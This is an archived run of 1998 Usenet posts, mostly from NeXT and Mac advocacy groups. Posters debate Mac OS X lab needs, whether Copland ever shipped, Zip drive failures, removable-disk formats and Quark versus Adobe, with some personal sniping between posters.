>> 3) Continued on data analysis working with XY plots of the data.
>> Modified a locally-written f77 program (Absoft compiler) to take each
>> trace and subtract a background trace. Used 'dm' and 'gas' from
>> UNIX|stat and GNU tools to scale data. Plotted data with nxyplot,
>> collected several plots as EPS files and added annotation with
>> SuperDraw.app.
>>
>> 4) We use LaTeX for manuscript preparation. We also use TiB to
>> maintain a lab database of bibliographic references and format the
>> citations and bibliographies. This weekend I investigated using
>> PubMed as a tool to gather lists of new articles every week. To do
>> this I wrote an HTML front end to send requests directly to the
>> National Library of Medicine to get current tables of content for a
>> list of about 100 scientific journals we follow. Articles desired are
>> then marked, and a list of articles (in Medline format) are
>> downloaded. This list is then massaged with Perl to convert it into
>> refer format for inclusion in our bibliographic database.
>>
>> 5) Rlogin'd to different machines at work to fix a few mail
>> configuration files and update aliases for people who have moved.
>>
>> So, in one weekend I used
>> a) emacs for all editing
>> b) OmniWeb to find and download program source code off the net and
>> test locally-generated HTML code
>> c) The plain C compiler and objective C compiler to build programs
>> d) lots of command-line and csh-script programs (using pipes
>> and redirection)
>> e) Perl for text manipulation and generating HTML code on-the-run
>> f) a f77 compiler for some numerical analysis (I think fastest in
>> fortran for numerical stuff; shows my age, eh?)
>> g) the netpbm programs (built from C source; some programs tweaked for
>> our special uses)
>> h) make and makefiles
>> i) nxyplot for data visualization and saving plots in EPS
>> j) SuperDraw to combine EPS files on one page
>> k) command-line FTP to move files between home and lab.
>> l) GateKeeper to handle PPP connections.
>> m) NextMail to send files containing images to co-workers for
>> feedback.
>> n) Unix networking to log into different machines to update
>> configurations.
>>
>> Other things we need in the lab
>> a) We use SafetyNet to back up our files every night from all the
>> local machines with NFS-mounted directories
>> b) We need to have a good driver kit to write drivers for data
>> acquisition hardware (a/d, d/a converters; CCD cameras)
>> c) lots of networking; data may be crunched an another machine, then
>> displayed on a NeXT. We use NXHost to run some old black-only apps
>> and display on Intel machines.
>>
>> Nextstep makes all of the above easy. We also have a new SGI in the
>> lab; it's fast as hell for straight number crunching, but just not as
>> easy to use for things like the above. X looks bad compared to the
>> Next window manager and display. Next services and universal cut&paste
>> make things so easy. I guess I use about 75% general Unix
>> command-line tools and 25% point&click apps; the proportions are
>> opposite for most in the lab and closer to 98% point&click for the
>> rest. Nextstep makes up all happy, regardless of our usage styles.
>>
>> If MacOS X will let us do all of the above, we'll likely go with
>> Apples to replace our aging NeXTstep-running machines. If not it'll
>> be really hard to decide between NT, Linux, SGI, or a bullet in the
>> head.
- Jacob Fuller
- My HomePage
- Home of the Quake BenchMark Project
- http://jf.simplenet.com
- Quality Web Hosting
- http://www.virtualisys.com/vr/dfuller/
From: *@*.* (Proton)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <*-3108982046430001@dub-ppp-051.tpgi.com.au>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net>
Date: Mon, 31 Aug 1998 20:46:43 +1000
NNTP-Posting-Date: Mon, 31 Aug 1998 20:47:38 EST
Organization: Telstra Big Pond Direct
In article <tZsG1.3217$r1.2965200@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> Brian Lewis wrote in message <35e9f6f2.18392599@nntp.erinet.com>...
> >Since Amelio took charge, they've been on target for their OS
> >releases.
> >
> >7.6 - On Time
> >8.0 - On Time
> >8.1 - On Time
> >8.5 - Should be no exception
> >
> >MS Still hasn't got SP4 for NT 4.0 out after promising and promising
> >it would be available in March, the May, then July, then a month after
> >NT5 Beta 2.
>
>
> The difference here is:
>
> 1.) Apple releases it's products on time by not finishing it's feature sets.
> Example, Copland hit the shelves on time, but did not have PMT or MP as
> Apple promised it would.
I don't remember Copland hitting the shelves. Please explain.
> 2.) MS does not allways release it's products on time, because MS insists on
> "finishing" it's products before they hit the shelves.
>
> I prefer #2. I'll wait for the finished product (which includes all the
> promised feature sets).
>
> MS also knows, the longer they test a product, the better quality it will be
> when it's released. SP3 for NT 4.0 is good example of this... while SP1 and
> SP2 fixed many bugs, they also added some. It took MS much longer to release
> SP3 (which was delayed over and over again), and it resulted in a service
> pack that not only fixed more bugs then any other service pack, but it also
> did not "add" any bugs.
>
> Dan
--
"You think it's a conspiracy by the networks to put bad shows on TV. But the shows are bad because that's what people want. It's not like Windows users don't have any power; I think they are happy with Windows, and that's an incredibly depressing thought..."
-- Steve Jobs
Date: Mon, 31 Aug 1998 06:48:41 -0700
From: Rick <rickajho@+spammawamma+banet.net>
MIME-Version: 1.0
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com> <35D7C467.4370@micron.net> <6r8jgg$m31$1@news.iswest.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <35ea7f89.0@news3.ibm.net>
Organization: IBM.NET
Steven M. Scharf wrote:
>
> ehc wrote in message <35D7C467.4370@micron.net>...
> >T. Max Devlin wrote:
> >> >
> >> >Imation also is making a "Superdrive" that will read and write inary
> >> >floppy disks, plus their "Superdisks" which will hold 120mb. So this
> >> >give an iMac the ability to read floppies and a Zip-like large-capacity
> >> >disk.
> >> >
> >> >I wonder if Superdisk will catch on?
> >
> >IMN stock took a jump up over the past few days but my judgment is that
> >the LS-120 will be sucking sand once Sony comes out with their 100+
> >meg-drive (also reads old 1.44 disks as does the LS-120).
>
> It is called HiFD. See
> http://www.pcworld.com/news/daily/data/1097/971014163458.html
>
> You are correct that it will likely destroy the LS-120. However the ZIP has
> such an installed base that it may not destroy the ZIP. The ability to
> read/write
> 1.44 MB floppies is a good feature of the HiFD, but since floppy drives
> are so cheap and since they are on every Mac and PC except the iMac,
> the lack of backward compatibility for the ZIP is outweighed by its wide
> acceptance. Most PC makers offer a built-in ZIP for $100, or you can
> do it yourself for about $80.
The wide acceptance of the Zip drive is currently irrelevant in context
of the problems inherent in its design. LS-120 or the Sony format won't
destroy Iomega, they are doing a fine job of it all by themselves.
Before anyone considers buying any Iomega product I suggest you take a
look at http://grc.com/clickdeath.htm regarding the click=death issue
facing any Zip owner. Wanna have some fun? Do a search with Alta Vista
using the key words +Zip +click +death and see how many web sites now
carry a reference to this defect in Iomega products. Truly frightening.
I've lost 240MB+ of data to click death in a defective Zip drive myself.
No warning whatsoever.
Rick
--
My e-mail address may be SPAM blocked!
To send me mail remove the plus ++ signs
and anything between them from my e-mail
address.
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <*-3108982046430001@dub-ppp-051.tpgi.com.au>
Subject: Re: What we need from Mac OSuX
Message-ID: <aexG1.3241$r1.3151893@newsfeed.slurp.net>
Date: Mon, 31 Aug 1998 13:07:18 GMT
NNTP-Posting-Date: Mon, 31 Aug 1998 06:07:18 PDT
Organization: Slurp News Feeds
Proton <*@*.*> wrote in message
<*-3108982046430001@dub-ppp-051.tpgi.com.au>...
>I don't remember Copland hitting the shelves. Please explain.
That was the code name. Apple changed plans... they released their product
on time, but without PMT or MP.
From: tapella@pasteur.frANCE (Tapella)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 31 Aug 1998 13:55:01 +0200
Organization: Institut Pasteur, Paris
Message-ID: <tapella-3108981355010001@22w2-1.dyn.pasteur.fr>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net>
NNTP-Posting-Date: 31 Aug 1998 11:49:17 GMT
In article <tZsG1.3217$r1.2965200@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> The difference here is:
>
> 1.) Apple releases it's products on time by not finishing it's feature sets.
> Example, Copland hit the shelves on time, but did not have PMT or MP as
> Apple promised it would.
No, you're confused. Copland was the codename for an OS that never got out
the door. It was supposed to have extra buzzwords as you mentioned. It would
have been titled OS 8 had it made it to market. Instead, there was an update
to the old-style OS 7 which was called OS 8. Your confusion stems from the
fact that you haven't researched enough to discover that the current OS 8
*is not* Copland. That being said, having to entirely scrap Copland was
more pathetic than releasing it with fewer features.
A good example of what you're talking about is how Apple wanted to include
"Guard Pages" in 8.5, which should be released in about a month. They decided
that they would never get this out on time, so pushed Guard Pages to an
update for 8.5.
> 2.) MS does not allways release it's products on time, because MS insists on
> "finishing" it's products before they hit the shelves.
Er. I seem to recall a certain "Windows 95" not having many features that
were originally supposed to be included. [At least, that's what I recall
everyone saying at the time, I can't really give examples but I'm sure
someone else can.] Not to mention how terribly buggy it was when shipped.
Rob.
From: spagiola@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 31 Aug 1998 13:05:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6se71u$60d$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net>
Sheesh, guys! The original poster asked concrete questions about whether
certain things he needs to do would be available under MacOS X. I know this
is an advocacy group, but could someone at least attempt an answer before we
descend into mindless MS vs Apple drivel?
Unfortunately, I don't have access to Rhapsody/MacOS X betas under any form,
so I can't essay an answer myself. As a likely customer, though, I'd be
grateful for some thoughtful answers from anyone who can do so without
violating NDAs.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: CSNA dead?
Newsgroups: comp.sys.next.advocacy
Message-ID: <35eaaf53.0@news.depaul.edu>
Date: 31 Aug 98 14:12:35 GMT
Does anyone else think CSNA has outlived its usefulness?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 31 Aug 1998 14:51:55 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sedab$854@newsb.netnews.att.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr>
Originator: gupta@tlctest
>> 2.) MS does not allways release it's products on time, because MS insists on
>> "finishing" it's products before they hit the shelves.
Utter BS. Show us one, just one, OS release Microsoft has done after 1994,
that was feature-complete (i.e., it had all the features talked about in
the myriads of Microsoft press releases before the actual release).
-arun gupta
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 31 Aug 1998 08:10:09 -0700
Organization: University of British Columbia
Message-ID: <1del7i6.3gnle84rn78kN@p052.intchg1.net.ubc.ca>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <1ded5kr.3dj3ro1jtfqbkN@p023.intchg1.net.ubc.ca> <joe.ragosta-2708980941090001@wil49.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> Adobe apparently isn't doing very well even in its own market segments.
> What makes you think that they're going to manage a "Quark killer"?
<having returned to connectedness>
Doing well or badly with one's current product line doesn't guarantee
the success or failure of succeeding products. Look at the case of
Apple, where stagnation, decline and looming crisis seemed finally to
have cleared the corporation's mind considerably.
Whether or not they're going to _manage_ a "Quark killer", it has been
rumored for some time (see MacWeek) that Adobe has decided to move the
PageMaker code base into a consumer product and is building a new
professional publishing package from the ground up.
There's reason to wonder what's going on when a smallish private company
suddenly and for the first time announces its earnings are up (compared
to what?) and offers to buy its ailing competitor. Especially when that
smallish private company's product development efforts seem to have
stalled.
Some Quark XPress users are so puzzled by this latest development that
they theorize Quark (which has recently and loudly allied itself with
Microsoft) is being used as a proxy by a legally-embattled MS to acquire
Adobe.
But let's not go there; the whole business is kooky enough as it is.
--
Bruce Bennett
From: Brian Oberquell <boberque@starvision.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 08:14:44 -0700
Organization: Newbridge Networks Corporation
Message-ID: <35EABDE4.F9825E4F@starvision.com>
References: <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35e31cbb.7905136@news.calweb.com> <35E6E0CD.482C@howard.genetics.utah.edu>
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Patrick --
I agree that not all computers have Zip drives, but where are you buying Zip
disks for $50? Even up here in Canada, home of the dying loonie, I can get
them for around $20 each...
Brian
Patrick O'Neil wrote:
>
> I certainly will continue to use floppies to transport docs from
> my computer to...other systems as needed. They are handy for
> storing small files for transport, which would be a waste of
> Zip space, or Jazz space, and only cost a few pennies. Cost
> you $50 some odd bucks to get Zip disks...and not all computers
> have them.
>
> I need a backup emergency boot disk for linux...a floppy is
> perfect...though a bootable CD would be OK too.
>
> patrick
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 31 Aug 1998 15:14:24 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6seekg$aos$1@news.spacelab.net>
References: <35eaaf53.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>Does anyone else think CSNA has outlived its usefulness?
Nope. Although .advocacy doesn't keep _all_ of the noise out of the rest of
comp.sys.next, without it the other groups would be much worse.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "root" <chufrank@hotmail.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <*-3108982046430001@dub-ppp-051.tpgi.com.au> <aexG1.3241$r1.3151893@newsfeed.slurp.net> <smileyy-3108981108300001@192.168.0.2>
Subject: Re: What we need from Mac OSuX
Message-ID: <dizG1.699$g4.7360654@bunson.tor.sfl.net>
Date: Mon, 31 Aug 1998 15:28:09 GMT
NNTP-Posting-Date: Mon, 31 Aug 1998 11:28:09 EST
Organization: Shaw FiberLink Ltd. Toronto
Andrew McCormick
>In article <aexG1.3241$r1.3151893@newsfeed.slurp.net>, "Dan"
><dan@knowspaam.com> wrote:
>
>>Proton <*@*.*> wrote in message
>><*-3108982046430001@dub-ppp-051.tpgi.com.au>...
>>
>>>I don't remember Copland hitting the shelves. Please explain.
>>
>>That was the code name. Apple changed plans... they released their product
>>on time, but without PMT or MP.
>
>Copland was neither on time, nor ever released. Mac OS 8 was released on
>time, with the feature set designated for it.
>
>Andrew McCormick
>
>--
Hey Andrew, is Kenny McCormick your cousin in SouthPark?
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Date: 31 Aug 1998 15:26:23 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6sefav$aos$2@news.spacelab.net>
References: <6rd076$dc1$1@leol.net-link.net> <6rdhkg$55c$1@lwnws01.ne.highway1.com> <6rdoq7$4fl$1@news.digifix.com> <35daf168.0@news.depaul.edu> <6rf9rf$fon$1@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
[ ... ]
>> This would be cool if the computer were interfaced with a high
>> capacity music CD changer, or MP3 Jukebox. "Put on something by
>> Over the Rhine or Garbage". "Play Colossal Head". "Play it again,
>> Sam". Ask "What song was that?" and a window pops up with artist,
>> album, and song title.
>
> Yes, I agree. I have one of them 200CD jukeboxes, and it's nice. But
> programming it is a royal pain and still doesn't do things like I'd like it
> to. It would be great to have "passive dynamic voice programming." The
> user could say "less" or "more" and the random song currently playing
> would be more or less likely to come up at random in the future.
> That way over time a user's tastes would be a hueristic for song selection.
Ah, a perfect candidate for one or more neural network learning algorithms.
Represent each song as a node, and the connections between them as the "song
transition" preferences. You could then have two sorts of rating: how much
you like a given song, and how much you liked the transition.
This would let the system not only adjust the song listing to taste, but
would also capture the notion that certain songs "belong" together (ie,
holistic albums like Floyd's Wall or DSOTM, etc etc).
A more sophisticated algorithm would include free categorization of the song,
and you could ask it for "mostly jazz with light rock", or "dance party
techo", once you've given the system appropriate ratings. Better still, use
one of the online CD databases to inherit some standard categories of
information to start off with....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com> <35D7C467.4370@micron.net> <6r8jgg$m31$1@news.iswest.net> <35ea7f89.0@news3.ibm.net>
Subject: Re: iMac question...
Date: Mon, 31 Aug 1998 11:43:02 -0400
Message-ID: <35eac4bb.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Rick wrote in message <35ea7f89.0@news3.ibm.net>...
>Steven M. Scharf wrote:
>>
>> ehc wrote in message <35D7C467.4370@micron.net>...
>> >T. Max Devlin wrote:
>> >> >
>> >> >Imation also is making a "Superdrive" that will read and write inary
>> >> >floppy disks, plus their "Superdisks" which will hold 120mb. So this
>> >> >give an iMac the ability to read floppies and a Zip-like
large-capacity
>> >> >disk.
>> >> >
>> >> >I wonder if Superdisk will catch on?
>> >
>> >IMN stock took a jump up over the past few days but my judgment is that
>> >the LS-120 will be sucking sand once Sony comes out with their 100+
>> >meg-drive (also reads old 1.44 disks as does the LS-120).
>>
>> It is called HiFD. See
>> http://www.pcworld.com/news/daily/data/1097/971014163458.html
>>
>> You are correct that it will likely destroy the LS-120. However the ZIP
has
>> such an installed base that it may not destroy the ZIP. The ability to
>> read/write
>> 1.44 MB floppies is a good feature of the HiFD, but since floppy drives
>> are so cheap and since they are on every Mac and PC except the iMac,
>> the lack of backward compatibility for the ZIP is outweighed by its wide
>> acceptance. Most PC makers offer a built-in ZIP for $100, or you can
>> do it yourself for about $80.
>
>The wide acceptance of the Zip drive is currently irrelevant in context
>of the problems inherent in its design. LS-120 or the Sony format won't
>destroy Iomega, they are doing a fine job of it all by themselves.
>
>Before anyone considers buying any Iomega product I suggest you take a
>look at http://grc.com/clickdeath.htm regarding the click=death issue
>facing any Zip owner. Wanna have some fun? Do a search with Alta Vista
>using the key words +Zip +click +death and see how many web sites now
>carry a reference to this defect in Iomega products. Truly frightening.
>I've lost 240MB+ of data to click death in a defective Zip drive myself.
>No warning whatsoever.
..
No question about any of this _and_ their tape products aren't any better.
Same goes for that dusty Colorado tape drive no one ever uses.
..
..
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 11:25:31 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EACE7B.8BC52068@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <35E46BAA.2C74EA52@ericsson.com> <6s2jb0$oqh@news1.panix.com> <35E5B233.FC15155E@ericsson.com> <6s58qv$7k0@news1.panix.com>
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Sal Denaro wrote:
[rah rah rah]
> You want to help? Physician heal thyself. Get that chip off your shoulder
> and you'll do everyone, including yourself a favor.
Ah, "I know you are but what am I". Pretty standard fare.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 11:34:42 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EAD0A2.78F8E0AA@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net> <35E5DE46.66B6062A@ericsson.com> <gmgraves-2808980953500001@sf-usr1-47-175.dialup.slip.net> <35E6F810.E4B8D01F@ericsson.com> <gmgraves-2908981155230001@sf-pm5-10-74.dialup.slip.net>
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George Graves wrote:
> 1) We have no way of knowing whether your observations are real or made-up for
> the purpose of trolling.
You don't seem to understand. I don't particularly care about the effect
of my words on you at this point; I might have cared, once, but
demonstrating professional-level skepticism about anything contradictory
to your ideological committment doesn't endear the debate to me.
If you please, it's really none of your business anymore. Continual
anger, resentment, and personal attacks over any commentary I might make
are the hallmarks of your postings to this group nowadays. A quick
review of DejaNews over the last two years, in fact, reveals that this
has been your pattern toward nearly every person here for quite a long
time. I couldn't believe some of the remarks I discovered you'd made,
apparently without a second thought. Many of these came at a time when I
thought I agreed with you. Sad.
Which is not to hold myself blameless in this regard; I'm simply making
the observation that you and I have little in common anymore, either in
thought or in deed. I didn't come looking for you, Graves.
> 2) That your experiences with the Mac and the Mac OS do not jibe with the
> experiences
> that I and other Mac advocates have had with similar hardware using the Mac OS.
Yes, and "Mac advocates" is really the key phrase, isn't it?
> In light of the two above facts, I would have to say that your
> observations are highly
> suspect and definitely open to question.
Please yourself. I don't need to drag you kicking and screaming into the
light of reality. Please, oh please, anything but that.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 11:37:33 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EAD14D.835C5B61@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E6FD3D.CF960677@ericsson.com> <6s71gd$mk5@newsb.netnews.att.com> <35E71016.9EE361D@ericsson.com> <6sa39j$svg@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
[cut]
> Also, I don't consider you an opponent, any more than, say, a twelve year
> old who lobs a snowball at me. (In this weather, I'd welcome such).
> If you imagine that something I post bears you out, consider it a free
> service. No thanks required.
The parade of Pee-Wee's Playhouse psychology continues in CSMA.
MJP
From: tapella@pasteur.frANCE (Tapella)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 31 Aug 1998 13:49:59 +0200
Organization: Institut Pasteur, Paris
Message-ID: <tapella-3108981349590001@22w2-1.dyn.pasteur.fr>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com>
NNTP-Posting-Date: 31 Aug 1998 11:44:15 GMT
In article <6scmmf$8dh$1@supernews.com>, "Steven Schulze"
<sschulze@netwiz.net> wrote:
> Now there's another oxymoron:
>
> Mac Server
Well, considering it's based on OPENSTEP and BSD, how hard do you think
that'll be? This isn't the old Mac being used as a server.
Rob.
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 31 Aug 98 10:25:19 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2102A91-15847@206.165.43.152>
References: <smileyy-3108981108300001@192.168.0.2>
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
>Copland was neither on time, nor ever released. Mac OS 8 was released on
>time, with the feature set designated for it.
>
>Andrew McCormick
Actually, MacOS 8 was originally System 7.6 and it wasn't even scheduled to
be released or even had a firm feature set until they got around to
deciding what to do with System 7.x after the NeXT purchase.
And even the [non-Copland] MacOS 8 that you are talking about was lacking a
few features scheduled for the MacOS 8 that you are talking about. Those
were released in the free upgrade, MacOS 8.1
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Patrick O'Neil <patrick@howard.genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 11:15:11 +0000
Organization: University of Utah - ACLIS
Message-ID: <35EA85BF.36E8@howard.genetics.utah.edu>
References: <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35e31cbb.7905136@news.calweb.com> <35E6E0CD.482C@howard.genetics.utah.edu> <35EABDE4.F9825E4F@starvision.com>
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NNTP-Posting-Date: 31 Aug 1998 17:27:35 GMT
Brian Oberquell wrote:
>
> Patrick --
>
> I agree that not all computers have Zip drives, but where are you buying Zip
> disks for $50? Even up here in Canada, home of the dying loonie, I can get
> them for around $20 each...
I may have underestimated...I haven't bought zip disks for
several weeks and do not recall the price but I don't think
I was far off - I bought a 2 pak which would fit in with
the $20 each.
patrick
From: Petri Holopainen <petrih@algonet.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 19:29:48 +0200
Organization: Sirius Cybernetics Corporation
Message-ID: <35EADD8C.3990B52F@algonet.se>
References: <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com> <a_fraser-2208981126550001@port-50-11.access.one.net> <6rn70v$4lk$1@nnrp1.dejanews.com> <a_fraser-2208982035140001@port-32-31.access.one.net> <35e17205.3325187@198.0.0.100> <gmgraves-2308981611320001@sf-usr1-42-170.dialup.slip.net>
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George Graves wrote:
>
> Apple, IMOH, is smart to replace these aging ports
> with a real, daisy-chainable bus like USB.
The USB debuted on PCs a long time ago, I saw my first
USB-port on a Dell back in late 1996, I think. So I guess
Dell was smarter than Apple, following your logic.
-- Petri
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Cheap ? or typo ?
Date: 31 Aug 1998 17:30:12 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6semj4$95d@newsb.netnews.att.com>
Originator: gupta@tlctest
http://www.zdnet.com/pcweek/news/0824/283intel.html
says that "officials at two top 10 PC makers said they
talked Intel out of including 1394 [Firewire; from its
440BX chip set due this year; reasons - lack of demand
and high cost]. It currently costs OEMs between $10 and
$20 to support the specification."
***
Should that be $100 and $200 ? Or are PC makers really that
cheap ?
-arun gupta
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
